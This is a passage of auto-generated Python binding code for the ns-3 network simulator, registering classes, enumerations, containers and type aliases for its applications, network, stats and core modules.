module.add_class('AttributeChecker', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >'])
## attribute.h (module 'core'): ns3::AttributeValue [class]
module.add_class('AttributeValue', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >'])
## boolean.h (module 'core'): ns3::BooleanChecker [class]
module.add_class('BooleanChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## boolean.h (module 'core'): ns3::BooleanValue [class]
module.add_class('BooleanValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## bulk-send-application.h (module 'applications'): ns3::BulkSendApplication [class]
module.add_class('BulkSendApplication', parent=root_module['ns3::Application'])
## callback.h (module 'core'): ns3::CallbackChecker [class]
module.add_class('CallbackChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## callback.h (module 'core'): ns3::CallbackImplBase [class]
module.add_class('CallbackImplBase', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >'])
## callback.h (module 'core'): ns3::CallbackValue [class]
module.add_class('CallbackValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## channel.h (module 'network'): ns3::Channel [class]
module.add_class('Channel', import_from_module='ns.network', parent=root_module['ns3::Object'])
## random-variable-stream.h (module 'core'): ns3::ConstantRandomVariable [class]
module.add_class('ConstantRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## data-calculator.h (module 'stats'): ns3::DataCalculator [class]
module.add_class('DataCalculator', import_from_module='ns.stats', parent=root_module['ns3::Object'])
## data-collection-object.h (module 'stats'): ns3::DataCollectionObject [class]
module.add_class('DataCollectionObject', import_from_module='ns.stats', parent=root_module['ns3::Object'])
## data-output-interface.h (module 'stats'): ns3::DataOutputInterface [class]
module.add_class('DataOutputInterface', import_from_module='ns.stats', parent=root_module['ns3::Object'])
## data-rate.h (module 'network'): ns3::DataRateChecker [class]
module.add_class('DataRateChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## data-rate.h (module 'network'): ns3::DataRateValue [class]
module.add_class('DataRateValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## random-variable-stream.h (module 'core'): ns3::DeterministicRandomVariable [class]
module.add_class('DeterministicRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## double.h (module 'core'): ns3::DoubleValue [class]
module.add_class('DoubleValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## dynamic-queue-limits.h (module 'network'): ns3::DynamicQueueLimits [class]
module.add_class('DynamicQueueLimits', import_from_module='ns.network', parent=root_module['ns3::QueueLimits'])
## random-variable-stream.h (module 'core'): ns3::EmpiricalRandomVariable [class]
module.add_class('EmpiricalRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## attribute.h (module 'core'): ns3::EmptyAttributeAccessor [class]
module.add_class('EmptyAttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::AttributeAccessor'])
## attribute.h (module 'core'): ns3::EmptyAttributeChecker [class]
module.add_class('EmptyAttributeChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## attribute.h (module 'core'): ns3::EmptyAttributeValue [class]
module.add_class('EmptyAttributeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## enum.h (module 'core'): ns3::EnumChecker [class]
module.add_class('EnumChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## enum.h (module 'core'): ns3::EnumValue [class]
module.add_class('EnumValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## random-variable-stream.h (module 'core'): ns3::ErlangRandomVariable [class]
module.add_class('ErlangRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## error-model.h (module 'network'): ns3::ErrorModel [class]
module.add_class('ErrorModel', import_from_module='ns.network', parent=root_module['ns3::Object'])
## ethernet-header.h (module 'network'): ns3::EthernetHeader [class]
module.add_class('EthernetHeader', import_from_module='ns.network', parent=root_module['ns3::Header'])
## ethernet-trailer.h (module 'network'): ns3::EthernetTrailer [class]
module.add_class('EthernetTrailer', import_from_module='ns.network', parent=root_module['ns3::Trailer'])
## event-impl.h (module 'core'): ns3::EventImpl [class]
module.add_class('EventImpl', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >'])
## random-variable-stream.h (module 'core'): ns3::ExponentialRandomVariable [class]
module.add_class('ExponentialRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## random-variable-stream.h (module 'core'): ns3::GammaRandomVariable [class]
module.add_class('GammaRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## integer.h (module 'core'): ns3::IntegerValue [class]
module.add_class('IntegerValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker [class]
module.add_class('Ipv4AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue [class]
module.add_class('Ipv4AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker [class]
module.add_class('Ipv4MaskChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue [class]
module.add_class('Ipv4MaskValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker [class]
module.add_class('Ipv6AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue [class]
module.add_class('Ipv6AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker [class]
module.add_class('Ipv6PrefixChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue [class]
module.add_class('Ipv6PrefixValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## error-model.h (module 'network'): ns3::ListErrorModel [class]
module.add_class('ListErrorModel', import_from_module='ns.network', parent=root_module['ns3::ErrorModel'])
## random-variable-stream.h (module 'core'): ns3::LogNormalRandomVariable [class]
module.add_class('LogNormalRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## mac16-address.h (module 'network'): ns3::Mac16AddressChecker [class]
module.add_class('Mac16AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## mac16-address.h (module 'network'): ns3::Mac16AddressValue [class]
module.add_class('Mac16AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## mac48-address.h (module 'network'): ns3::Mac48AddressChecker [class]
module.add_class('Mac48AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## mac48-address.h (module 'network'): ns3::Mac48AddressValue [class]
module.add_class('Mac48AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## mac64-address.h (module 'network'): ns3::Mac64AddressChecker [class]
module.add_class('Mac64AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## mac64-address.h (module 'network'): ns3::Mac64AddressValue [class]
module.add_class('Mac64AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## basic-data-calculators.h (module 'stats'): ns3::MinMaxAvgTotalCalculator<unsigned int> [class]
module.add_class('MinMaxAvgTotalCalculator', import_from_module='ns.stats', template_parameters=['unsigned int'], parent=[root_module['ns3::DataCalculator'], root_module['ns3::StatisticalSummary']])
## net-device.h (module 'network'): ns3::NetDevice [class]
module.add_class('NetDevice', import_from_module='ns.network', parent=root_module['ns3::Object'])
## net-device.h (module 'network'): ns3::NetDevice::PacketType [enumeration]
module.add_enum('PacketType', ['PACKET_HOST', 'NS3_PACKET_HOST', 'PACKET_BROADCAST', 'NS3_PACKET_BROADCAST', 'PACKET_MULTICAST', 'NS3_PACKET_MULTICAST', 'PACKET_OTHERHOST', 'NS3_PACKET_OTHERHOST'], outer_class=root_module['ns3::NetDevice'], import_from_module='ns.network')
## net-device-queue-interface.h (module 'network'): ns3::NetDeviceQueue [class]
module.add_class('NetDeviceQueue', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >'])
## net-device-queue-interface.h (module 'network'): ns3::NetDeviceQueueInterface [class]
module.add_class('NetDeviceQueueInterface', import_from_module='ns.network', parent=root_module['ns3::Object'])
## nix-vector.h (module 'network'): ns3::NixVector [class]
module.add_class('NixVector', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >'])
## node.h (module 'network'): ns3::Node [class]
module.add_class('Node', import_from_module='ns.network', parent=root_module['ns3::Object'])
## random-variable-stream.h (module 'core'): ns3::NormalRandomVariable [class]
module.add_class('NormalRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## object-factory.h (module 'core'): ns3::ObjectFactoryChecker [class]
module.add_class('ObjectFactoryChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## object-factory.h (module 'core'): ns3::ObjectFactoryValue [class]
module.add_class('ObjectFactoryValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## onoff-application.h (module 'applications'): ns3::OnOffApplication [class]
module.add_class('OnOffApplication', parent=root_module['ns3::Application'])
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper [class]
module.add_class('OutputStreamWrapper', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >'])
## packet.h (module 'network'): ns3::Packet [class]
module.add_class('Packet', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >'])
## packet-sink.h (module 'applications'): ns3::PacketSink [class]
module.add_class('PacketSink', parent=root_module['ns3::Application'])
## packet-data-calculators.h (module 'network'): ns3::PacketSizeMinMaxAvgTotalCalculator [class]
module.add_class('PacketSizeMinMaxAvgTotalCalculator', import_from_module='ns.network', parent=root_module['ns3::MinMaxAvgTotalCalculator< unsigned int >'])
## packet-socket.h (module 'network'): ns3::PacketSocket [class]
module.add_class('PacketSocket', import_from_module='ns.network', parent=root_module['ns3::Socket'])
## packet-socket-client.h (module 'network'): ns3::PacketSocketClient [class]
module.add_class('PacketSocketClient', import_from_module='ns.network', parent=root_module['ns3::Application'])
## packet-socket-factory.h (module 'network'): ns3::PacketSocketFactory [class]
module.add_class('PacketSocketFactory', import_from_module='ns.network', parent=root_module['ns3::SocketFactory'])
## packet-socket-server.h (module 'network'): ns3::PacketSocketServer [class]
module.add_class('PacketSocketServer', import_from_module='ns.network', parent=root_module['ns3::Application'])
## random-variable-stream.h (module 'core'): ns3::ParetoRandomVariable [class]
module.add_class('ParetoRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream'])
## packetbb.h (module 'network'): ns3::PbbAddressBlock [class]
module.add_class('PbbAddressBlock', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter<ns3::PbbAddressBlock> >'])
## packetbb.h (module 'network'): ns3::PbbAddressBlockIpv4 [class]
module.add_class('PbbAddressBlockIpv4', import_from_module='ns.network', parent=root_module['ns3::PbbAddressBlock'])
## packetbb.h (module 'network'): ns3::PbbAddressBlockIpv6 [class]
module.add_class('PbbAddressBlockIpv6', import_from_module='ns.network', parent=root_module['ns3::PbbAddressBlock'])
## packetbb.h (module 'network'): ns3::PbbMessage [class]
module.add_class('PbbMessage', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter<ns3::PbbMessage> >'])
## packetbb.h (module 'network'): ns3::PbbMessageIpv4 [class]
module.add_class('PbbMessageIpv4', import_from_module='ns.network', parent=root_module['ns3::PbbMessage'])
## packetbb.h (module 'network'): ns3::PbbMessageIpv6 [class]
module.add_class('PbbMessageIpv6', import_from_module='ns.network', parent=root_module['ns3::PbbMessage'])
## packetbb.h (module 'network'): ns3::PbbPacket [class]
module.add_class('PbbPacket', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter<ns3::PbbPacket> >'])
## packetbb.h (module 'network'): ns3::PbbTlv [class]
module.add_class('PbbTlv', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter<ns3::PbbTlv> >'])
## probe.h (module 'stats'): ns3::Probe [class]
module.add_class('Probe', import_from_module='ns.stats', parent=root_module['ns3::DataCollectionObject'])
## queue.h (module 'network'): ns3::Queue<ns3::Packet> [class]
module.add_class('Queue', import_from_module='ns.network', template_parameters=['ns3::Packet'], parent=root_module['ns3::QueueBase'])
## queue.h (module 'network'): ns3::Queue<ns3::QueueDiscItem> [class]
module.add_class('Queue', import_from_module='ns.network', template_parameters=['ns3::QueueDiscItem'], parent=root_module['ns3::QueueBase'])
## queue-item.h (module 'network'): ns3::QueueItem [class]
module.add_class('QueueItem', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >'])
## queue-item.h (module 'network'): ns3::QueueItem::Uint8Values [enumeration]
module.add_enum('Uint8Values', ['IP_DSFIELD'], outer_class=root_module['ns3::QueueItem'], import_from_module='ns.network')
## error-model.h (module 'network'): ns3::RateErrorModel [class]
module.add_class('RateErrorModel', import_from_module='ns.network', parent=root_module['ns3::ErrorModel'])
## error-model.h (module 'network'): ns3::RateErrorModel::ErrorUnit [enumeration]
module.add_enum('ErrorUnit', ['ERROR_UNIT_BIT', 'ERROR_UNIT_BYTE', 'ERROR_UNIT_PACKET'], outer_class=root_module['ns3::RateErrorModel'], import_from_module='ns.network')
## error-model.h (module 'network'): ns3::ReceiveListErrorModel [class]
module.add_class('ReceiveListErrorModel', import_from_module='ns.network', parent=root_module['ns3::ErrorModel'])
## simple-channel.h (module 'network'): ns3::SimpleChannel [class]
module.add_class('SimpleChannel', import_from_module='ns.network', parent=root_module['ns3::Channel'])
## simple-net-device.h (module 'network'): ns3::SimpleNetDevice [class]
module.add_class('SimpleNetDevice', import_from_module='ns.network', parent=root_module['ns3::NetDevice'])
## nstime.h (module 'core'): ns3::TimeValue [class]
module.add_class('TimeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## type-id.h (module 'core'): ns3::TypeIdChecker [class]
module.add_class('TypeIdChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker'])
## type-id.h (module 'core'): ns3::TypeIdValue [class]
module.add_class('TypeIdValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## udp-client.h (module 'applications'): ns3::UdpClient [class]
module.add_class('UdpClient', parent=root_module['ns3::Application'])
## udp-echo-client.h (module 'applications'): ns3::UdpEchoClient [class]
module.add_class('UdpEchoClient', parent=root_module['ns3::Application'])
## udp-echo-server.h (module 'applications'): ns3::UdpEchoServer [class]
module.add_class('UdpEchoServer', parent=root_module['ns3::Application'])
## udp-server.h (module 'applications'): ns3::UdpServer [class]
module.add_class('UdpServer', parent=root_module['ns3::Application'])
## udp-trace-client.h (module 'applications'): ns3::UdpTraceClient [class]
module.add_class('UdpTraceClient', parent=root_module['ns3::Application'])
## uinteger.h (module 'core'): ns3::UintegerValue [class]
module.add_class('UintegerValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue'])
## address.h (module 'network'): ns3::AddressChecker [class]
module.add_class('AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker'])
## address.h (module 'network'): ns3::AddressValue [class]
module.add_class('AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue'])
## application-packet-probe.h (module 'applications'): ns3::ApplicationPacketProbe [class]
module.add_class('ApplicationPacketProbe', parent=root_module['ns3::Probe'])
## error-model.h (module 'network'): ns3::BinaryErrorModel [class]
module.add_class('BinaryErrorModel', import_from_module='ns.network', parent=root_module['ns3::ErrorModel'])
## error-model.h (module 'network'): ns3::BurstErrorModel [class]
module.add_class('BurstErrorModel', import_from_module='ns.network', parent=root_module['ns3::ErrorModel'])
## basic-data-calculators.h (module 'stats'): ns3::CounterCalculator<unsigned int> [class]
module.add_class('CounterCalculator', import_from_module='ns.stats', template_parameters=['unsigned int'], parent=root_module['ns3::DataCalculator'])
## error-channel.h (module 'network'): ns3::ErrorChannel [class]
module.add_class('ErrorChannel', import_from_module='ns.network', parent=root_module['ns3::SimpleChannel'])
## packet-data-calculators.h (module 'network'): ns3::PacketCounterCalculator [class]
module.add_class('PacketCounterCalculator', import_from_module='ns.network', parent=root_module['ns3::CounterCalculator< unsigned int >'])
## packet-probe.h (module 'network'): ns3::PacketProbe [class]
module.add_class('PacketProbe', import_from_module='ns.network', parent=root_module['ns3::Probe'])
## packetbb.h (module 'network'): ns3::PbbAddressTlv [class]
module.add_class('PbbAddressTlv', import_from_module='ns.network', parent=root_module['ns3::PbbTlv'])
## queue-item.h (module 'network'): ns3::QueueDiscItem [class]
module.add_class('QueueDiscItem', import_from_module='ns.network', parent=root_module['ns3::QueueItem'])
module.add_container('std::map< std::string, ns3::LogComponent * >', ('std::string', 'ns3::LogComponent *'), container_type=u'map')
module.add_container('std::list< ns3::Ptr< ns3::Packet > >', 'ns3::Ptr< ns3::Packet >', container_type=u'list')
module.add_container('std::vector< ns3::Ipv6Address >', 'ns3::Ipv6Address', container_type=u'vector')
module.add_container('std::list< unsigned int >', 'unsigned int', container_type=u'list')
module.add_container('std::list< ns3::Ptr< ns3::Socket > >', 'ns3::Ptr< ns3::Socket >', container_type=u'list')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', u'ns3::GenericPhyTxEndCallback')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', u'ns3::GenericPhyTxEndCallback*')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', u'ns3::GenericPhyTxEndCallback&')
typehandlers.add_type_alias(u'ns3::SequenceNumber< short unsigned int, short int >', u'ns3::SequenceNumber16')
typehandlers.add_type_alias(u'ns3::SequenceNumber< short unsigned int, short int >*', u'ns3::SequenceNumber16*')
typehandlers.add_type_alias(u'ns3::SequenceNumber< short unsigned int, short int >&', u'ns3::SequenceNumber16&')
typehandlers.add_type_alias(u'ns3::SequenceNumber< unsigned int, int >', u'ns3::SequenceNumber32')
typehandlers.add_type_alias(u'ns3::SequenceNumber< unsigned int, int >*', u'ns3::SequenceNumber32*')
typehandlers.add_type_alias(u'ns3::SequenceNumber< unsigned int, int >&', u'ns3::SequenceNumber32&')
typehandlers.add_type_alias(u'void ( * ) ( std::ostream & ) *', u'ns3::LogNodePrinter')
typehandlers.add_type_alias(u'void ( * ) ( std::ostream & ) **', u'ns3::LogNodePrinter*')
typehandlers.add_type_alias(u'void ( * ) ( std::ostream & ) *&', u'ns3::LogNodePrinter&')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', u'ns3::GenericPhyRxStartCallback')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', u'ns3::GenericPhyRxStartCallback*')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', u'ns3::GenericPhyRxStartCallback&')
typehandlers.add_type_alias(u'ns3::SequenceNumber< unsigned char, signed char >', u'ns3::SequenceNumber8')
typehandlers.add_type_alias(u'ns3::SequenceNumber< unsigned char, signed char >*', u'ns3::SequenceNumber8*')
typehandlers.add_type_alias(u'ns3::SequenceNumber< unsigned char, signed char >&', u'ns3::SequenceNumber8&')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', u'ns3::GenericPhyRxEndErrorCallback')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', u'ns3::GenericPhyRxEndErrorCallback*')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', u'ns3::GenericPhyRxEndErrorCallback&')
typehandlers.add_type_alias(u'ns3::Callback< bool, ns3::Ptr< ns3::Packet >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', u'ns3::GenericPhyTxStartCallback')
typehandlers.add_type_alias(u'ns3::Callback< bool, ns3::Ptr< ns3::Packet >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', u'ns3::GenericPhyTxStartCallback*')
typehandlers.add_type_alias(u'ns3::Callback< bool, ns3::Ptr< ns3::Packet >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', u'ns3::GenericPhyTxStartCallback&')
typehandlers.add_type_alias(u'void ( * ) ( std::ostream & ) *', u'ns3::LogTimePrinter')
typehandlers.add_type_alias(u'void ( * ) ( std::ostream & ) **', u'ns3::LogTimePrinter*')
typehandlers.add_type_alias(u'void ( * ) ( std::ostream & ) *&', u'ns3::LogTimePrinter&')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', u'ns3::GenericPhyRxEndOkCallback')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >*', u'ns3::GenericPhyRxEndOkCallback*')
typehandlers.add_type_alias(u'ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >&', u'ns3::GenericPhyRxEndOkCallback&')
## Register a nested module for the namespace FatalImpl
nested_module = module.add_cpp_namespace('FatalImpl')
register_types_ns3_FatalImpl(nested_module)
## Register a nested module for the namespace Hash
nested_module = module.add_cpp_namespace('Hash')
register_types_ns3_Hash(nested_module)
## Register a nested module for the namespace TracedValueCallback
nested_module = module.add_cpp_namespace('TracedValueCallback')
register_types_ns3_TracedValueCallback(nested_module)
## Register a nested module for the namespace addressUtils
nested_module = module.add_cpp_namespace('addressUtils')
register_types_ns3_addressUtils(nested_module)
## Register a nested module for the namespace internal
nested_module = module.add_cpp_namespace('internal')
register_types_ns3_internal(nested_module)
def register_types_ns3_FatalImpl(module):
root_module = module.get_root()
def register_types_ns3_Hash(module):
root_module = module.get_root()
## hash-function.h (module 'core'): ns3::Hash::Implementation [class]
module.add_class('Implementation', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >'])
typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash32Function_ptr')
typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash32Function_ptr*')
typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash32Function_ptr&')
typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash64Function_ptr')
typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash64Function_ptr*')
typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash64Function_ptr&')
## Register a nested module for the namespace Function
nested_module = module.add_cpp_namespace('Function')
register_types_ns3_Hash_Function(nested_module)
def register_types_ns3_Hash_Function(module):
root_module = module.get_root()
## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a [class]
module.add_class('Fnv1a', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation'])
## hash-function.h (module 'core'): ns3::Hash::Function::Hash32 [class]
module.add_class('Hash32', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation'])
## hash-function.h (module 'core'): ns3::Hash::Function::Hash64 [class]
module.add_class('Hash64', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation'])
## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3 [class]
module.add_class('Murmur3', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation'])
def register_types_ns3_TracedValueCallback(module):
root_module = module.get_root()
typehandlers.add_type_alias(u'void ( * ) ( double, double ) *', u'ns3::TracedValueCallback::Double')
typehandlers.add_type_alias(u'void ( * ) ( double, double ) **', u'ns3::TracedValueCallback::Double*')
typehandlers.add_type_alias(u'void ( * ) ( double, double ) *&', u'ns3::TracedValueCallback::Double&')
typehandlers.add_type_alias(u'void ( * ) ( ns3::SequenceNumber32, ns3::SequenceNumber32 ) *', u'ns3::TracedValueCallback::SequenceNumber32')
typehandlers.add_type_alias(u'void ( * ) ( ns3::SequenceNumber32, ns3::SequenceNumber32 ) **', u'ns3::TracedValueCallback::SequenceNumber32*')
typehandlers.add_type_alias(u'void ( * ) ( ns3::SequenceNumber32, ns3::SequenceNumber32 ) *&', u'ns3::TracedValueCallback::SequenceNumber32&')
typehandlers.add_type_alias(u'void ( * ) ( int8_t, int8_t ) *', u'ns3::TracedValueCallback::Int8')
typehandlers.add_type_alias(u'void ( * ) ( int8_t, int8_t ) **', u'ns3::TracedValueCallback::Int8*')
typehandlers.add_type_alias(u'void ( * ) ( int8_t, int8_t ) *&', u'ns3::TracedValueCallback::Int8&')
typehandlers.add_type_alias(u'void ( * ) ( uint8_t, uint8_t ) *', u'ns3::TracedValueCallback::Uint8')
typehandlers.add_type_alias(u'void ( * ) ( uint8_t, uint8_t ) **', u'ns3::TracedValueCallback::Uint8*')
typehandlers.add_type_alias(u'void ( * ) ( uint8_t, uint8_t ) *&', u'ns3::TracedValueCallback::Uint8&')
typehandlers.add_type_alias(u'void ( * ) ( int32_t, int32_t ) *', u'ns3::TracedValueCallback::Int32')
typehandlers.add_type_alias(u'void ( * ) ( int32_t, int32_t ) **', u'ns3::TracedValueCallback::Int32*')
typehandlers.add_type_alias(u'void ( * ) ( int32_t, int32_t ) *&', u'ns3::TracedValueCallback::Int32&')
typehandlers.add_type_alias(u'void ( * ) ( bool, bool ) *', u'ns3::TracedValueCallback::Bool')
typehandlers.add_type_alias(u'void ( * ) ( bool, bool ) **', u'ns3::TracedValueCallback::Bool*')
typehandlers.add_type_alias(u'void ( * ) ( bool, bool ) *&', u'ns3::TracedValueCallback::Bool&')
typehandlers.add_type_alias(u'void ( * ) ( uint16_t, uint16_t ) *', u'ns3::TracedValueCallback::Uint16')
typehandlers.add_type_alias(u'void ( * ) ( uint16_t, uint16_t ) **', u'ns3::TracedValueCallback::Uint16*')
typehandlers.add_type_alias(u'void ( * ) ( uint16_t, uint16_t ) *&', u'ns3::TracedValueCallback::Uint16&')
typehandlers.add_type_alias(u'void ( * ) ( uint32_t, uint32_t ) *', u'ns3::TracedValueCallback::Uint32')
typehandlers.add_type_alias(u'void ( * ) ( uint32_t, uint32_t ) **', u'ns3::TracedValueCallback::Uint32*')
typehandlers.add_type_alias(u'void ( * ) ( uint32_t, uint32_t ) *&', u'ns3::TracedValueCallback::Uint32&')
typehandlers.add_type_alias(u'void ( * ) ( int16_t, int16_t ) *', u'ns3::TracedValueCallback::Int16')
typehandlers.add_type_alias(u'void ( * ) ( int16_t, int16_t ) **', u'ns3::TracedValueCallback::Int16*')
typehandlers.add_type_alias(u'void ( * ) ( int16_t, int16_t ) *&', u'ns3::TracedValueCallback::Int16&')
typehandlers.add_type_alias(u'void ( * ) ( ns3::Time, ns3::Time ) *', u'ns3::TracedValueCallback::Time')
typehandlers.add_type_alias(u'void ( * ) ( ns3::Time, ns3::Time ) **', u'ns3::TracedValueCallback::Time*')
typehandlers.add_type_alias(u'void ( * ) ( ns3::Time, ns3::Time ) *&', u'ns3::TracedValueCallback::Time&')
typehandlers.add_type_alias(u'void ( * ) ( ) *', u'ns3::TracedValueCallback::Void')
